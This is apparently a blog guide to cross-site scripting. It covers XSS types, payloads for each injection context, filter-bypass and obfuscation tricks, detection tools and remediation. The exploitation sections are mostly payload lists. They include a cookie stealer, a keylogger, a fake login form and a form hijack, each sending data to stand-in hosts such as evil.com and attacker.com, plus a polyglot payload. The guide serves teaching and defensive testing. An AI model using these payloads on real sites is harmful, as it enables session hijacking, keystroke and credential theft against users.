Cross-site scripting vulnerability exploitation

Cross-Site Scripting (XSS): Attack and Defense

Complete guide to XSS vulnerabilities including reflected, stored, and DOM-based attacks with detection techniques, exploitation payloads, and remediation strategies.

Dec 23, 2025
Updated Dec 11, 2025
2 min read

Introduction

Cross-Site Scripting (XSS) is a client-side code injection attack where malicious scripts are injected into trusted websites. When victims visit the compromised page, their browsers execute the attacker's script in the context of the vulnerable domain, enabling session hijacking, credential theft, defacement, and malware distribution.

XSS remains prevalent because web applications frequently reflect user input without proper encoding, and the attack surface has expanded with modern JavaScript frameworks and complex DOM manipulation.

Types of XSS

Reflected XSS

The malicious script is part of the request and reflected in the response. Requires victim interaction (clicking a malicious link).

<!-- Vulnerable endpoint: /search?q=USER_INPUT -->
<!-- URL: /search?q=<script>alert('XSS')</script> -->

<!-- Response includes: -->
<p>Search results for: <script>alert('XSS')</script></p>

Stored XSS

The malicious script is permanently stored on the target server (database, comments, profiles) and served to all users who view the affected page.

<!-- Attacker submits comment: -->
<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>

<!-- All users viewing comments execute the script -->

DOM-Based XSS

The vulnerability exists in client-side JavaScript that processes user input unsafely, never touching the server.

// Vulnerable code
document.getElementById('output').innerHTML = location.hash.substring(1);

// URL: page.html#<img src=x onerror=alert('XSS')>

XSS Contexts and Payloads

HTML Context

<!-- Basic payloads -->
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<body onload=alert('XSS')>
<iframe src="javascript:alert('XSS')">

<!-- Without parentheses -->
<img src=x onerror=alert`XSS`>
<svg onload=alert&lpar;'XSS'&rpar;>

<!-- Event handlers -->
<div onmouseover="alert('XSS')">Hover me</div>
<input onfocus=alert('XSS') autofocus>
<marquee onstart=alert('XSS')>

Attribute Context

<!-- Breaking out of attributes -->
" onclick="alert('XSS')
" onfocus="alert('XSS')" autofocus="
'><script>alert('XSS')</script>

<!-- JavaScript URLs in href/src -->
<a href="javascript:alert('XSS')">Click</a>
<iframe src="javascript:alert('XSS')">

<!-- Data URLs -->
<a href="data:text/html,<script>alert('XSS')</script>">Click</a>

JavaScript Context

// Breaking out of strings
'; alert('XSS');//
"; alert('XSS');//
</script><script>alert('XSS')</script>

// Template literals
${alert('XSS')}
`; alert('XSS');//

// Inside JSON
{"name":"value\u0022,\u0022inject\u0022:\u0022<script>alert(1)</script>"}

URL Context

<!-- URL parameter injection -->
javascript:alert('XSS')
data:text/html,<script>alert('XSS')</script>
//evil.com/exploit.js

Filter Bypass Techniques

Case Variation

<ScRiPt>alert('XSS')</ScRiPt>
<IMG SRC=x OnErRoR=alert('XSS')>

Encoding Bypasses

<!-- HTML entities -->
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;('XSS')>

<!-- Hex encoding -->
<img src=x onerror=\x61\x6c\x65\x72\x74('XSS')>

<!-- Unicode -->
<img src=x onerror=\u0061\u006c\u0065\u0072\u0074('XSS')>

<!-- Base64 in data URLs -->
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=">Click</a>

Alternative Tags

<!-- Without script tag -->
<img src=x onerror=alert('XSS')>
<svg/onload=alert('XSS')>
<body/onload=alert('XSS')>
<video><source onerror=alert('XSS')>
<audio src=x onerror=alert('XSS')>
<input onfocus=alert('XSS') autofocus>
<details open ontoggle=alert('XSS')>
<marquee onstart=alert('XSS')>

Obfuscation

<!-- Spaces and newlines -->
<img src=x
onerror
=alert('XSS')>

<!-- Tab characters -->
<img	src=x	onerror=alert('XSS')>

<!-- Comments -->
<script>/**/alert('XSS')/**/</script>

<!-- Constructor abuse -->
<img src=x onerror=alert.constructor('alert(1)')()>
<img src=x onerror=[].constructor.constructor('alert(1)')()>

Bypassing Specific Filters

<!-- No parentheses -->
<img src=x onerror=alert`XSS`>
<img src=x onerror=window.onerror=alert;throw'XSS'>

<!-- No alert -->
<img src=x onerror=confirm('XSS')>
<img src=x onerror=prompt('XSS')>
<img src=x onerror=eval('al'+'ert(1)')>

<!-- No quotes -->
<img src=x onerror=alert(String.fromCharCode(88,83,83))>
<img src=x onerror=alert(/XSS/.source)>

<!-- No spaces -->
<svg/onload=alert('XSS')>
<img/src=x/onerror=alert('XSS')>

Advanced Exploitation

Session Hijacking

// Cookie stealing
<script>
fetch('https://attacker.com/steal?c='+document.cookie);
</script>

// Using image
<img src=x onerror="this.src='https://attacker.com/steal?c='+document.cookie">

Keylogging

<script>
document.onkeypress = function(e) {
  fetch('https://attacker.com/log?key=' + e.key);
}
</script>

Phishing

<script>
document.body.innerHTML = '<h1>Session Expired</h1><form action="https://attacker.com/phish"><input name="user" placeholder="Username"><input name="pass" type="password" placeholder="Password"><button>Login</button></form>';
</script>

DOM Manipulation

// Change form action
<script>document.forms[0].action = 'https://attacker.com/capture';</script>

// Inject fake content
<script>
document.getElementById('balance').innerHTML = '$0.00';
document.getElementById('transfer').href = 'https://attacker.com/fake';
</script>

Exploiting Modern Frameworks

// Angular template injection
{{constructor.constructor('alert(1)')()}}

// Vue.js
{{_c.constructor('alert(1)')()}}

// React dangerouslySetInnerHTML abuse (if user-controlled)

DOM XSS Sources and Sinks

Dangerous Sources

// URL-based
location.href
location.hash
location.search
document.URL
document.documentURI
document.referrer

// Storage
localStorage.getItem()
sessionStorage.getItem()

// User input
document.getElementById('input').value
window.name

Dangerous Sinks

// Direct execution
eval()
setTimeout()
setInterval()
Function()

// HTML manipulation
element.innerHTML
element.outerHTML
document.write()
document.writeln()

// URL sinks
location.href
location.assign()
location.replace()

Detection Methodology

Manual Testing

  1. Identify input reflection points
  2. Test with basic payloads: <script>alert(1)</script>
  3. Analyze response encoding/filtering
  4. Adapt payloads to bypass filters
  5. Confirm execution in browser

Polyglot Payloads

Test multiple contexts simultaneously:

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcLiCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Automated Tools

# XSStrike
python xsstrike.py -u "http://target.com/page?q=test"

# Dalfox
dalfox url "http://target.com/page?q=test"

# Using Burp Suite
# Intruder with XSS payloads wordlist

Impact Assessment

ScenarioImpact
Session hijackingAccount takeover
Credential theftData breach
Malware distributionSystem compromise
DefacementReputation damage
Internal network scanningReconnaissance
CryptominingResource abuse

Remediation

Output Encoding

// Context-specific encoding
function htmlEncode(str) {
  return str.replace(/[&<>"']/g, function(match) {
    return {'&':'&amp;','<':'&lt;','>':'&gt;','"':'&quot;',"'":'&#39;'}[match];
  });
}

// Use framework encoding
// React: automatically escapes in JSX
// Angular: uses DomSanitizer
// Vue: uses v-text or {{ }}

Content Security Policy

Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'

HttpOnly Cookies

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict

Input Validation

  • Whitelist allowed characters
  • Validate input length
  • Use strict typing

References

MITRE ATT&CK Techniques

Common Weakness Enumeration

OWASP Resources

Tools Documentation

Last updated on

Cross-Site Scripting (XSS): Attack and Defense | Drake Axelrod